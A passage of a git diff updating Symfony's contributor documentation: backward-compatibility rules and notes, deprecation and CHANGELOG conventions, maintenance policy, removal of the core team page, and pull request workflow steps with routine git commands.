+Remove entirely No +Change name or namespace No +Use another trait Yes **Public Properties** -Add public property Yes -Remove public property No -Reduce visibility No -Move to a used trait Yes +Add public property Yes +Remove public property No +Reduce visibility No +Move to a used trait Yes **Protected Properties** -Add protected property Yes -Remove protected property No -Reduce visibility No -Make public No -Move to a used trait Yes +Add protected property Yes +Remove protected property No +Reduce visibility No +Make public No +Move to a used trait Yes **Private Properties** -Add private property Yes -Remove private property No -Make public or protected Yes -Move to a used trait Yes +Add private property Yes +Remove private property No +Make public or protected Yes +Move to a used trait Yes **Constructors and destructors** -Have constructor or destructor No +Have constructor or destructor No **Public Methods** -Add public method Yes -Remove public method No -Change name No -Reduce visibility No -Make final No [6]_ -Move to used trait Yes -Add argument without a default value No -Add argument with a default value No -Remove argument No -Add default value to an argument No -Remove default value of an argument No -Add type hint to an argument No -Remove type hint of an argument No -Change argument type No -Change return type No +Add public method Yes +Remove public method No +Change name No +Reduce visibility No +Make final No :ref:`[6] <note-6>` +Move to used trait Yes +:ref:`Add argument without a default value <add-argument-public-method>` No +:ref:`Add argument with a default value <add-argument-public-method>` No +Remove argument No +Add default value to an argument No +Remove default value of an argument No +Add type hint to an argument No +Remove type hint of an argument No +Change argument type No +Change return type No **Protected Methods** -Add protected method Yes -Remove protected method No -Change name No -Reduce visibility No -Make final No [6]_ -Make public No [8]_ -Move to used trait Yes -Add argument without a default value No -Add argument with a default value No -Remove argument No -Add default value to an argument No -Remove default value of an argument No -Add type hint to an argument No -Remove type hint of an argument No -Change argument type No -Change return type No +Add protected method Yes +Remove protected method No +Change name No +Reduce visibility No +Make final No :ref:`[6] <note-6>` +Make public No :ref:`[8] <note-8>` +Move to used trait Yes +:ref:`Add argument without a default value <add-argument-public-method>` No +:ref:`Add argument with a default value <add-argument-public-method>` No +Remove argument No +Add default value to an argument No +Remove default value of an argument No +Add type hint to an argument No +Remove type hint of an argument No +Change argument type No +Change return type No **Private Methods** -Add private method Yes -Remove private method No -Change name No -Make public or protected Yes -Move to used trait Yes -Add argument without a default value No -Add argument with a default value No -Remove argument No -Add default value to an argument No -Remove default value of an argument No -Add type hint to an argument No -Remove type hint of an argument No -Change argument type No -Add return type No -Remove return type No -Change return type No +Add private method Yes +Remove private method No +Change name No +Make public or protected Yes +Move to used trait Yes +Add argument without a default value No +Add argument with a default value No +Remove argument No +Add default value to an argument No +Remove default value of an argument No +Add type hint to an argument No +Remove type hint of an argument No +Change argument type No +Add return type No +Remove return type No +Change return type No **Static Methods and Properties** -Turn non static into static No -Turn static into non static No -================================================== ============== +Turn non static into static No +Turn static into non static No +=============================================================================== ============== =============== + +Notes +~~~~~ + +.. _note-1: + +**[1]** Should be avoided. When done, this change must be documented in the +UPGRADE file. + +.. _note-2: + +**[2]** The added parent interface must not introduce any new methods that don't +exist in the interface already. + +.. _note-3: + +**[3]** Only the last optional argument(s) of a method may be removed, as PHP +does not care about additional arguments that you pass to a method. + +.. _note-4: + +**[4]** When changing the parent class, the original parent class must remain an +ancestor of the class. + +.. _note-5: + +**[5]** The value of a constant may only be changed when the constants aren't +used in configuration (e.g. Yaml and XML files), as these do not support +constants and have to hardcode the value. For instance, event name constants +can't change the value without introducing a BC break. Additionally, if a +constant will likely be used in objects that are serialized, the value of a +constant should not be changed. + +.. _note-6: + +**[6]** Allowed using the ``@final`` annotation. + +.. _note-7: + +**[7]** Allowed if the class is final. Classes that received the ``@final`` +annotation after their first release are considered final in their next major +version. Changing an argument type is only possible with a parent type. Changing +a return type is only possible with a child type. + +.. _note-8: + +**[8]** Allowed if the method is final. Methods that received the ``@final`` +annotation after their first release are considered final in their next major +version. Changing an argument type is only possible with a parent type. Changing +a return type is only possible with a child type. + +.. _note-9: + +**[9]** Allowed for the ``void`` return type. + +.. _note-10: + +**[10]** Parameter names are only covered by the compatibility promise for +constructors of Attribute classes. Using PHP named arguments might break your +code when upgrading to newer Symfony versions. + +.. _note-11: + +**[11]** Only optional argument(s) of a constructor at last position may be added. + +Making Code Changes in a Backward Compatible Way +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +As you read above, many changes are not allowed because they would represent a +backward compatibility break. However, we want to be able to improve the code and +its features over time and that can be done thanks to some strategies that +allow to still do some unallowed changes in several steps that ensure backward +compatibility and a smooth upgrade path. Some of them are described in the next +sections. + +.. _add-argument-public-method: + +Adding an Argument to a Public Method +..................................... + +Adding a new argument to a public method is possible only if this is the last +argument of the method. + +If that's the case, here is how to do it properly in a minor version: + +#. Add the argument as a comment in the signature:: + + // the new argument can be optional + public function say(string $text, /* bool $stripWhitespace = true */): void + { + } + + // or required + public function say(string $text, /* bool $stripWhitespace */): void + { + } + +#. Document the new argument in a PHPDoc:: + + /** + * @param bool $stripWhitespace + */ -.. [1] Should be avoided. When done, this change must be documented in the - UPGRADE file. +#. Use ``func_num_args`` and ``func_get_arg`` to retrieve the argument in the + method:: -.. [2] The added parent interface must not introduce any new methods that don't - exist in the interface already. + $stripWhitespace = 2 <= \func_num_args() ? func_get_arg(1) : false; -.. [3] Only the last optional argument(s) of a method may be removed, as PHP - does not care about additional arguments that you pass to a method. + Note that the default value is ``false`` to keep the current behavior. -.. [4] When changing the parent class, the original parent class must remain an - ancestor of the class. +#. If the argument has a default value that will change the current behavior, + warn the user:: -.. [5] The value of a constant may only be changed when the constants aren't - used in configuration (e.g. Yaml and XML files), as these do not support - constants and have to hardcode the value. For instance, event name - constants can't change the value without introducing a BC break. - Additionally, if a constant will likely be used in objects that are - serialized, the value of a constant should not be changed. + trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWhitespace" argument explicitly is deprecated, its default value will change to X in Z.0.'); -.. [6] Allowed using the ``@final`` annotation. +#. If the argument has no default value, warn the user that is going to be + required in the next major version:: -.. [7] Allowed if the class is final. Classes that received the ``@final`` - annotation after their first release are considered final in their - next major version. - Changing an argument type is only possible with a parent type. - Changing a return type is only possible with a child type. + if (\func_num_args() < 2) { + trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWhitespace" argument in version Z.0, not defining it is deprecated.', __METHOD__); -.. [8] Allowed if the method is final. Methods that received the ``@final`` - annotation after their first release are considered final in their - next major version. - Changing an argument type is only possible with a parent type. - Changing a return type is only possible with a child type. + $stripWhitespace = false; + } else { + $stripWhitespace = func_get_arg(1); + } -.. [9] Allowed for the ``void`` return type. +#. In the next major version (``X.0``), uncomment the argument, remove the + PHPDoc if there is no need for a description, and remove the + ``func_get_arg`` code and the warning if any. .. _`Semantic Versioning`: https://semver.org/ diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst index 6a05f2cdf6d..b0a46766026 100644 --- a/contributing/code/bugs.rst +++ b/contributing/code/bugs.rst @@ -4,7 +4,7 @@ Reporting a Bug Whenever you find a bug in Symfony, we kindly ask you to report it. It helps us make a better Symfony. -.. caution:: +.. warning:: If you think you've found a security issue, please use the special :doc:`procedure <security>` instead. @@ -14,9 +14,8 @@ Before submitting a bug: * Double-check the official :doc:`documentation </index>` to see if you're not misusing the framework; -* Ask for assistance on `Stack Overflow`_, on the #support channel of - `the Symfony Slack`_ or on the ``#symfony`` `IRC channel`_ if you're not sure if - your issue really is a bug. +* Ask for assistance on `Stack Overflow`_ or on the #support channel of + `the Symfony Slack`_ if you're not sure if your issue really is a bug. If your problem definitely looks like a bug, report it using the official bug `tracker`_ and follow some basic rules: @@ -48,7 +47,6 @@ If your problem definitely looks like a bug, report it using the official bug * *(optional)* Attach a :doc:`patch <pull_requests>`. .. _`Stack Overflow`: https://stackoverflow.com/questions/tagged/symfony -.. _IRC channel: https://symfony.com/irc .. _the Symfony Slack: https://symfony.com/slack-invite .. _tracker: https://github.com/symfony/symfony/issues .. _<details> HTML tag: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst index a62bdd68587..455bc8de0ed 100644 --- a/contributing/code/conventions.rst +++ b/contributing/code/conventions.rst @@ -7,8 +7,10 @@ coding standards and conventions used in the core framework to make it more consistent and predictable. You are encouraged to follow them in your own code, but you don't need to. -Method Names ------------- +.. _method-names: + +Naming a Method +--------------- When an object has a "main" many relation with related "things" (objects, parameters, ...), the method names are normalized: @@ -77,19 +79,63 @@ must be used instead (where ``XXX`` is the name of the related thing): ``replaceXXX()``, on the other hand, cannot add new elements. If an unrecognized key is passed to ``replaceXXX()`` it must throw an exception. +Writing a CHANGELOG Entry +------------------------- + +When adding a new feature in a minor version or deprecating an existing +behavior, an entry to the relevant CHANGELOG(s) should be added. + +New features and deprecations must be described in a file named +``CHANGELOG.md`` that should be at the root directory of the modified +Component, Bridge or Bundle. + +The file must be written with the Markdown syntax and follow the following +conventions: + +* The main title is always ``CHANGELOG``; + +* Each entry must be added to a minor version section (like ``5.3``) as a list + element; + +* No third level sections are allowed; + +* Messages should follow the :ref:`commit message conventions <commit-messages>`: + should be short, capitalize the line, do not end with a period, use an + imperative verb to start the line; + +* New entries must be added on top of the list. + +Here is a complete example for reference: + +.. code-block:: markdown + + CHANGELOG + ========= + + 5.3 + --- + + * Add `MagicConfig` that allows configuring things + +.. note:: + + The main ``CHANGELOG-*`` files at the ``symfony/symfony`` root directory + are automatically generated when releases are prepared and should never be + modified manually. + .. _contributing-code-conventions-deprecations: Deprecating Code ---------------- -From time to time, some classes and/or methods are deprecated in the -framework; that happens when a feature implementation cannot be changed -because of backward compatibility issues, but we still want to propose a -"better" alternative. In that case, the old implementation can be **deprecated**. +From time to time, some classes and/or methods are deprecated in the framework; +that happens when a feature implementation cannot be changed because of +backward compatibility issues, but we still want to propose a "better" +alternative. In that case, the old implementation can be **deprecated**. Deprecations must only be introduced on the next minor version of the impacted -component (or bundle, or bridge, or contract). -They can exceptionally be introduced on previous supported versions if they are critical. +component (or bundle, or bridge, or contract). They can exceptionally be +introduced on previous supported versions if they are critical. A new class (or interface, or trait) cannot be introduced as deprecated, or contain deprecated methods. @@ -121,7 +167,7 @@ A deprecation must also be triggered to help people with the migration trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class); -When deprecating a whole class the ``trigger_error()`` call should be placed +When deprecating a whole class the ``trigger_deprecation()`` call should be placed after the use declarations, like in this example from `ServiceRouterLoader`_:: namespace Symfony\Component\Routing\Loader\DependencyInjection; @@ -135,45 +181,61 @@ after the use declarations, like in this example from `ServiceRouterLoader`_:: */ class ServiceRouterLoader extends ObjectRouteLoader -.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php +The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component: -The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:: +.. code-block:: markdown - 4.4.0 - ----- + 4.4 + --- - * Deprecated the `Deprecated` class, use `Replacement` instead. + * Deprecate the `Deprecated` class, use `Replacement` instead It must also be added to the ``UPGRADE.md`` file of the targeted minor version -(``UPGRADE-4.4.md`` in our example):: +(``UPGRADE-4.4.md`` in our example): + +.. code-block:: markdown DependencyInjection ------------------- - * Deprecated the `Deprecated` class, use `Replacement` instead. + * Deprecate the `Deprecated` class, use `Replacement` instead Finally, its consequences must be added to the ``UPGRADE.md`` file of the next major version -(``UPGRADE-5.0.md`` in our example):: +(``UPGRADE-5.0.md`` in our example): + +.. code-block:: markdown DependencyInjection ------------------- - * Removed the `Deprecated` class, use `Replacement` instead. + * Remove the `Deprecated` class, use `Replacement` instead All these tasks are mandatory and must be done in the same pull request. Removing Deprecated Code ------------------------ -Removing deprecated code can only be done once every 2 years, on the next major version of the -impacted component (``master`` branch). +Removing deprecated code can only be done once every two years, on the next +major version of the impacted component (``6.0`` branch, ``7.0`` branch, etc.). + +When removing deprecated code, the consequences of the deprecation must be added +to the ``CHANGELOG.md`` file of the impacted component: -When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file -of the impacted component:: +.. code-block:: markdown - 5.0.0 - ----- + 5.0 + --- - * Removed the `Deprecated` class, use `Replacement` instead. + * Remove the `Deprecated` class, use `Replacement` instead This task is mandatory and must be done in the same pull request. + +Naming Commands and Options +--------------------------- + +Commands and their options should be named and described using the English +imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using +the imperative mood is concise and consistent with similar command-line +interfaces (such as Unix man pages). + +.. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst deleted file mode 100644 index 47fba9c2d94..00000000000 --- a/contributing/code/core_team.rst +++ /dev/null @@ -1,209 +0,0 @@ -Symfony Core Team -================= - -The **Symfony Core** team is the group of developers that determine the -direction and evolution of the Symfony project. Their votes rule if the -features and patches proposed by the community are approved or rejected. - -All the Symfony Core members are long-time contributors with solid technical -expertise and they have demonstrated a strong commitment to drive the project -forward. - -This document states the rules that govern the Symfony core team. These rules -are effective upon publication of this document and all Symfony Core members -must adhere to said rules and protocol. - -Core Organization ------------------ - -Symfony Core members are divided into groups. Each member can only belong to one -group at a time. The privileges granted to a group are automatically granted to -all higher priority groups. - -The Symfony Core groups, in descending order of priority, are as follows: - -1. **Project Leader** - -* Elects members in any other group; -* Merges pull requests in all Symfony repositories. - -2. **Mergers Team** - -* Merge pull requests on the main Symfony repository. - -In addition, there are other groups created to manage specific topics: - -**Security Team** - -* Manage the whole security process (triaging reported vulnerabilities, fixing - the reported issues, coordinating the release of security fixes, etc.) - -**Recipes Team** - -* Manage the recipes in the main and contrib recipe repositories. - -**Documentation Team** - -* Manage the whole `symfony-docs repository`_. - -Active Core Members -~~~~~~~~~~~~~~~~~~~ - -* **Project Leader**: - - * **Fabien Potencier** (`fabpot`_). - -* **Mergers Team** (``@symfony/mergers`` on GitHub): - - * **Nicolas Grekas** (`nicolas-grekas`_); - * **Christophe Coevoet** (`stof`_); - * **Christian Flothmann** (`xabbuh`_); - * **Tobias Schultze** (`Tobion`_); - * **Kévin Dunglas** (`dunglas`_); - * **Jakub Zalas** (`jakzal`_); - * **Javier Eguiluz** (`javiereguiluz`_); - * **Grégoire Pineau** (`lyrixx`_); - * **Ryan Weaver** (`weaverryan`_); - * **Robin Chalas** (`chalasr`_); - * **Maxime Steinhausser** (`ogizanagi`_); - * **Samuel Rozé** (`sroze`_); - * **Yonel Ceruto** (`yceruto`_); - * **Tobias Nyholm** (`Nyholm`_); - * **Wouter De Jong** (`wouterj`_); - * **Alexander M. Turek** (`derrabus`_); - * **Jérémy Derussé** (`jderusse`_). - -* **Security Team** (``@symfony/security`` on GitHub): - - * **Fabien Potencier** (`fabpot`_); - * **Michael Cullum** (`michaelcullum`_); - * **Jérémy Derussé** (`jderusse`_). - -* **Recipes Team**: - - * **Fabien Potencier** (`fabpot`_); - * **Tobias Nyholm** (`Nyholm`_). - -* **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub): - - * **Fabien Potencier** (`fabpot`_); - * **Ryan Weaver** (`weaverryan`_); - * **Christian Flothmann** (`xabbuh`_); - * **Wouter De Jong** (`wouterj`_); - * **Jules Pietri** (`HeahDude`_); - * **Javier Eguiluz** (`javiereguiluz`_). - * **Oskar Stark** (`OskarStark`_). - -Former Core Members -~~~~~~~~~~~~~~~~~~~ - -They are no longer part of the core team, but we are very grateful for all their -Symfony contributions: - -* **Bernhard Schussek** (`webmozart`_); -* **Abdellatif AitBoudad** (`aitboudad`_); -* **Romain Neutron** (`romainneutron`_); -* **Jordi Boggiano** (`Seldaek`_); -* **Lukas Kahwe Smith** (`lsmith77`_). - -Core Membership Application -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -At present, new Symfony Core membership applications are not accepted. - -Core Membership Revocation -~~~~~~~~~~~~~~~~~~~~~~~~~~ - -A Symfony Core membership can be revoked for any of the following reasons: - -* Refusal to follow the rules and policies stated in this document; -* Lack of activity for the past six months; -* Willful negligence or intent to harm the Symfony project; -* Upon decision of the **Project Leader**. - -Should new Symfony Core memberships be accepted in the future, revoked -members must wait at least 12 months before re-applying. - -Code Development Rules ----------------------- - -Symfony project development is based on pull requests proposed by any member -of the Symfony community. Pull request acceptance or rejection is decided based -on the votes cast by the Symfony Core members. - -Pull Request Voting Policy -~~~~~~~~~~~~~~~~~~~~~~~~~~ - -* ``-1`` votes must always be justified by technical and objective reasons; - -* ``+1`` votes do not require justification, unless there is at least one - ``-1`` vote; - -* Core members can change their votes as many times as they desire - during the course of a pull request discussion; - -* Core members are not allowed to vote on their own pull requests. - -Pull Request Merging Policy -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -A pull request **can be merged** if: - -* It is a minor change [1]_; - -* Enough time was given for peer reviews; - -* At least two **Merger Team** members voted ``+1`` (only one if the submitter - is part of the Merger team) and no Core member voted ``-1`` (via GitHub - reviews or as comments). - -Pull Request Merging Process -~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -All code must be committed to the repository through pull requests, except for -minor changes [1]_ which can be committed directly to the repository. - -**Mergers** must always use the command-line ``gh`` tool provided by the -**Project Leader** to merge the pull requests. - -Release Policy -~~~~~~~~~~~~~~ - -The **Project Leader** is also the release manager for every Symfony version. - -Symfony Core Rules and Protocol Amendments ------------------------------------------- - -The rules described in this document may be amended at anytime at the -discretion of the **Project Leader**. - -.. [1] Minor changes comprise typos, DocBlock fixes, code standards - violations, and minor CSS, JavaScript and HTML modifications. - -.. _`symfony-docs repository`: https://github.com/symfony/symfony-docs -.. _`fabpot`: https://github.com/fabpot/ -.. _`webmozart`: https://github.com/webmozart/ -.. _`Tobion`: https://github.com/Tobion/ -.. _`nicolas-grekas`: https://github.com/nicolas-grekas/ -.. _`stof`: https://github.com/stof/ -.. _`dunglas`: https://github.com/dunglas/ -.. _`jakzal`: https://github.com/jakzal/ -.. _`Seldaek`: https://github.com/Seldaek/ -.. _`weaverryan`: https://github.com/weaverryan/ -.. _`aitboudad`: https://github.com/aitboudad/ -.. _`xabbuh`: https://github.com/xabbuh/ -.. _`javiereguiluz`: https://github.com/javiereguiluz/ -.. _`lyrixx`: https://github.com/lyrixx/ -.. _`chalasr`: https://github.com/chalasr/ -.. _`ogizanagi`: https://github.com/ogizanagi/ -.. _`Nyholm`: https://github.com/Nyholm -.. _`sroze`: https://github.com/sroze -.. _`yceruto`: https://github.com/yceruto -.. _`michaelcullum`: https://github.com/michaelcullum -.. _`wouterj`: https://github.com/wouterj -.. _`HeahDude`: https://github.com/HeahDude -.. _`OskarStark`: https://github.com/OskarStark -.. _`romainneutron`: https://github.com/romainneutron -.. _`lsmith77`: https://github.com/lsmith77/ -.. _`derrabus`: https://github.com/derrabus/ -.. _`jderusse`: https://github.com/jderusse/ diff --git a/contributing/code/index.rst b/contributing/code/index.rst index e537eb3a0c3..b4cf85441b0 100644 --- a/contributing/code/index.rst +++ b/contributing/code/index.rst @@ -9,7 +9,6 @@ Contributing Code reproducer pull_requests maintenance - core_team security tests bc diff --git a/contributing/code/license.rst b/contributing/code/license.rst index 8c7c2fd19db..0a4eaafce0d 100644 --- a/contributing/code/license.rst +++ b/contributing/code/license.rst @@ -5,7 +5,7 @@ Symfony Code License Symfony code is released under `the MIT license`_: -Copyright (c) 2004-2020 Fabien Potencier +Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst index 854cd74b219..27e4fd73ea0 100644 --- a/contributing/code/maintenance.rst +++ b/contributing/code/maintenance.rst @@ -16,21 +16,23 @@ acceptable changes. When documentation (or PHPDoc) is not in sync with the code, code behavior should always be considered as being the correct one. -Besides bug fixes, other minor changes can be accepted in a patch version: +To avoid backward compatibility breaks, we tend to be very strict about changes +accepted for patch versions. -* **Performance improvement**: Performance improvement should only be accepted - if the changes are local (located in one class) and only for algorithmic - issues (any such patches must come with numbers that show a significant - improvement on real-world code); +Besides bug fixes, other minor changes might be accepted in a patch version on +a case by case basis: -* **Newer versions of PHP**: Fixes that add support for newer versions of - PHP are acceptable if they don't break the unit test suite; +* **Newer versions of PHP**: Fixes that add support for newer versions of PHP + are acceptable if they don't break the unit test suite, but we never add + support for newer PHP features; * **Newer versions of popular OSes**: Fixes that add support for newer versions of popular OSes (Linux, MacOS and Windows) are acceptable if they don't break - the unit test suite; + the unit test suite, but we never add support for newer PHP features or newer + versions of OSes; -* **Translations**: Translation updates and additions are accepted; +* **Translations**: Translation updates and additions are always merged in the + oldest maintained branch; * **External data**: Updates for external data included in Symfony can be updated (like ICU for instance); @@ -39,19 +41,43 @@ Besides bug fixes, other minor changes can be accepted in a patch version: of a dependency is possible, bumping to a major one or increasing PHP minimal version is not; +* **Tests**: Tests that increase the code coverage can be added. + +The following changes are **generally not accepted** in a patch version, except +on a case by case basis (mostly when this is related to fixing a security +issue): + +* **Performance improvement**: Performance improvement should only be accepted + if the changes are local (located in one class) and only for algorithmic + issues (any such patches must come with numbers that show a significant + improvement on real-world code); + * **Coding standard and refactoring**: Coding standard fixes or code - refactoring are not recommended but can be accepted for consistency with the - existing code base, if they are not too invasive, and if merging them on - master would not lead to complex branch merging; + refactoring are almost never accepted except for consistency with the + existing code base, if they are not too invasive, and if merging them into + higher branches would not lead to complex branch merging. -* **Tests**: Tests that increase the code coverage can be added. +* **Adding new classes or non private methods**: While working on a bug fix, + never introduce new classes or public/protected methods (or global + functions). + +* **Adding configuration options**: Introducing new configuration options is + never allowed. + +* **Adding new deprecations**: After a version reaches stability, new + deprecations cannot be added anymore. + +* **Adding or updating annotations**: Adding or updating annotations (PHPDoc + annotations for instance) is not allowed; fixing them might be accepted. Anything not explicitly listed above should be done on the next minor or major -version instead (aka the *master* branch). For instance, the following changes -are never accepted in a patch version: +version instead. For instance, the following changes are never accepted in a +patch version: * **New features**; +* **Security hardening**; + * **Backward compatibility breaks**: Note that backward compatibility breaks can be done when fixing a security issue if it would not be possible to fix it otherwise; @@ -74,7 +100,7 @@ are never accepted in a patch version: .. note:: This policy is designed to enable a continuous upgrade path that allows one - to move forward with newest Symfony versions in the safest way. One should + to move forward with the newest Symfony versions in the safest way. One should be able to move PHP versions, OS or Symfony versions almost independently. That's the reason why supporting the latest PHP versions or OS features is considered as bug fixes. diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst index be882bfee18..6b40e940dfb 100644 --- a/contributing/code/pull_requests.rst +++ b/contributing/code/pull_requests.rst @@ -1,6 +1,12 @@ Proposing a Change ================== +.. admonition:: Screencast + :class: screencast + + Do you prefer video tutorials? Check out the `Contributing Back To Symfony`_ + screencast series. + A pull request, "PR" for short, is the best way to provide a bug fix or to propose enhancements to Symfony. @@ -25,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following software: * Git; -* PHP version 7.2.5 or above. +* PHP version 8.2 or above. Configure Git ~~~~~~~~~~~~~ @@ -81,6 +87,8 @@ Get the Symfony source code: * Fork the `Symfony repository`_ (click on the "Fork" button); +* Uncheck the "Copy the ``X.Y`` branch only"; + * After the "forking action" has completed, clone your fork locally (this will create a ``symfony`` directory): @@ -93,7 +101,7 @@ Get the Symfony source code: .. code-block:: terminal $ cd symfony - $ git remote add upstream git://github.com/symfony/symfony.git + $ git remote add upstream https://github.com/symfony/symfony.git Check that the current Tests Pass ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -101,12 +109,6 @@ Check that the current Tests Pass Now that Symfony is installed, check that all unit tests pass for your environment as explained in the dedicated :doc:`document <tests>`. -.. tip:: - - If tests are failing, check on `Travis-CI`_ if the same test is - failing there as well. In that case you do not need to be concerned - about the test failing locally. - .. _step-2-work-on-your-patch: Step 3: Work on your Pull Request @@ -124,25 +126,32 @@ Choose the right Branch Before working on a PR, you must determine on which branch you need to work: -* ``3.4``, if you are fixing a bug for an existing feature or want to make a - change that falls into the :doc:`list of acceptable changes in patch versions - </contributing/code/maintenance>` (you may have to choose a higher branch if - the feature you are fixing was introduced in a later version); +* If you are fixing a bug for an existing feature or want to make a change + that falls into the :doc:`list of acceptable changes in patch versions + </contributing/code/maintenance>`, pick the oldest concerned maintained + branch (you can find them on the `Symfony releases page`_). E.g. if you + found a bug introduced in ``v5.1.10``, you need to work on ``5.4``. -* ``master``, if you are adding a new feature. +* ``7.2``, if you are adding a new feature. The only exception is when a new :doc:`major Symfony version </contributing/community/releases>` - (4.0, 5.0, etc.) comes out every two years. Because of the + (5.0, 6.0, etc.) comes out every two years. Because of the :ref:`special development process <major-version-development>` of those versions, - you need to use the previous minor version for the features (e.g. use ``3.4`` - instead of ``4.0``, use ``4.4`` instead of ``5.0``, etc.) + you need to use the previous minor version for the features (e.g. use ``5.4`` + instead of ``6.0``, use ``6.4`` instead of ``7.0``, etc.) .. note:: All bug fixes merged into maintenance branches are also merged into more recent branches on a regular basis. For instance, if you submit a PR - for the ``3.4`` branch, the PR will also be applied by the core team on - the ``master`` branch. + for the ``5.4`` branch, the PR will also be applied by the core team on + all the ``6.x`` branches that are still maintained. + +During the :ref:`stabilization phase <contributing-release-development>`, the development branch is in +feature freeze. Please help the community prepare for the new version release. If you want to submit a +new feature pull request, you should target the next version. For example, if ``6.3`` reached feature +freeze, new features should target ``6.4``. If the ``6.4`` branch does not yet exist, target ``6.3`` +and rebase your pull requests once the branch is created. Create a Topic Branch ~~~~~~~~~~~~~~~~~~~~~ @@ -152,25 +161,25 @@ topic branch: .. code-block:: terminal - $ git checkout -b BRANCH_NAME master + $ git checkout -b BRANCH_NAME 6.1 -Or, if you want to provide a bug fix for the ``3.4`` branch, first track the remote -``3.4`` branch locally: +Or, if you want to provide a bug fix for the ``5.4`` branch, first track the remote +``5.4`` branch locally: .. code-block:: terminal - $ git checkout -t origin/3.4 + $ git checkout --track origin/5.4 -Then create a new branch off the ``3.4`` branch to work on the bug fix: +Then create a new branch off the ``5.4`` branch to work on the bug fix: .. code-block:: terminal - $ git checkout -b BRANCH_NAME 3.4 + $ git checkout -b BRANCH_NAME 5.4 .. tip:: - Use a descriptive name for your branch (``ticket_XXX`` where ``XXX`` is the - ticket number is a good convention for bug fixes). + Use a descriptive name for your branch (``fix_XXX`` where ``XXX`` is the + issue number is a good convention for bug fixes). The above checkout commands automatically switch the code to the newly created branch (check the branch you are working on with ``git branch``). @@ -224,7 +233,20 @@ in mind the following: * Never fix coding standards in some existing code as it makes the code review more difficult; -* Write good commit messages (see the tip below). +.. _commit-messages: + +* Write good commit messages: Start by a short subject line (the first line), + followed by a blank line and a more detailed description. + + The subject line should start with the Component, Bridge or Bundle you are + working on in square brackets (``[DependencyInjection]``, + ``[FrameworkBundle]``, ...). + + Then, capitalize the sentence, do not end with a period, and use an + imperative verb to start. + + Here is a full example of a subject line: ``[MagicBundle] Add `MagicConfig` + that allows configuring things``. .. tip:: @@ -233,16 +255,7 @@ in mind the following: as defined in `PSR-1`_ and `PSR-2`_. A status is posted below the pull request description with a summary - of any problems it detects or any `Travis-CI`_ build failures. - -.. tip:: - - A good commit message is composed of a summary (the first line), - optionally followed by a blank line and a more detailed description. The - summary should start with the Component you are working on in square - brackets (``[DependencyInjection]``, ``[FrameworkBundle]``, ...). Use a - verb (``fixed ...``, ``added ...``, ...) to start the summary and don't - add a period at the end. + of any problems it detects or any GitHub Actions build failures. .. _prepare-your-patch-for-submission: @@ -277,15 +290,15 @@ while to finish your changes): .. code-block:: terminal - $ git checkout master + $ git checkout 6.x $ git fetch upstream - $ git merge upstream/master + $ git merge upstream/6.x $ git checkout BRANCH_NAME - $ git rebase master + $ git rebase 6.x .. tip:: - Replace ``master`` with the branch you selected previously (e.g. ``3.4``) + Replace ``6.x`` with the branch you selected previously (e.g. ``5.4``) if you are working on a bug fix. When doing the ``rebase`` command, you might have to fix merge conflicts. @@ -312,8 +325,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository. .. tip:: - Take care to point your pull request towards ``symfony:3.4`` if you want - the core team to pull a bug fix based on the ``3.4`` branch. + Take care to point your pull request towards ``symfony:5.4`` if you want + the core team to pull a bug fix based on the ``5.4`` branch. To ease the core team work, always include the modified components in your pull request message, like in: @@ -331,7 +344,7 @@ Symfony as quickly as possible. Some answers to the questions trigger some more requirements: * If you answer yes to "Bug fix?", check if the bug is already listed in the - Symfony issues and reference it/them in "Fixed tickets"; + Symfony issues and reference it/them in "Issues"; * If you answer yes to "New feature?", you must submit a pull request to the documentation and reference it under the "Doc PR" section; @@ -366,8 +379,7 @@ because you want early feedback on your work, add an item to todo-list: - [ ] gather feedback for my changes As long as you have items in the todo-list, please prefix the pull request -title with "[WIP]". If you do not yet want to trigger the automated tests, -you can also set the PR to `draft status`_. +title with "[WIP]". In the pull request description, give as much detail as possible about your changes (don't hesitate to give code examples to illustrate your points). If @@ -392,22 +404,114 @@ perspective, please join the ``#contribs`` channel on `Symfony Slack`_. If you receive feedback you find abusive please contact the :doc:`CARE team </contributing/code_of_conduct/care_team>`. -The :doc:`core team </contributing/code/core_team>` is responsible for deciding +The :doc:`core team </contributing/core_team>` is responsible for deciding which PR gets merged, so their feedback is the most relevant. So do not feel pressured to refactor your code immediately when someone provides feedback. +Automated Feedback +~~~~~~~~~~~~~~~~~~ + +There are many automated scripts that will provide feedback on a pull request. + +fabbot +"""""" + +`fabbot`_ will review code style, check for common typos and make sure the git +history looks good. If there are any issues, fabbot will often suggest what changes +that should be done. Most of the time you get a command to run to automatically +fix the changes. + +It is rare, but fabbot could be wrong. One should verify if the suggested changes +make sense and that they are related to the pull request. + +Psalm +""""" + +`Psalm`_ will make a comment on a pull request if it discovers any potential +type errors. The Psalm errors are not always correct, but each should be reviewed +and discussed. A pull request should not 